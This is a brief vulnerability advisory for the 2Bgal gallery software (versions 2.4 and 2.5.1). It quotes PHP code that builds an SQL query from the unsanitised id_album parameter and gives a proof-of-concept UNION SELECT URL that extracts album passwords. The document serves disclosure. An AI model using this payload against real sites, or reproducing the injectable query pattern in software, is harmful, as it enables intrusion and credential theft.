Vulnerable Systems:
* 2Bgal version 2.4
* 2Bgal version 2.5.1
Vulnerable code (disp_album.php(~53) and disp_img.php): $chaine="SELECT nom,idpere FROM ".$tbl_alist." WHERE id=".$id_album;
$request = MYSQL_QUERY($chaine);
$nom_currentalbum = mysql_result($request,0,"nom");
$idpere_currentalbum = mysql_result($request,0,"idpere");
Proof of concept (2Bgal with MySQL 4.x.x): http://vulnerable/2bgal/disp_album.php?id_album=2 UNION SELECT passwd as nom, idpere FROM galbumlist LIMIT 1; --
This code allows you to get password for the first album.
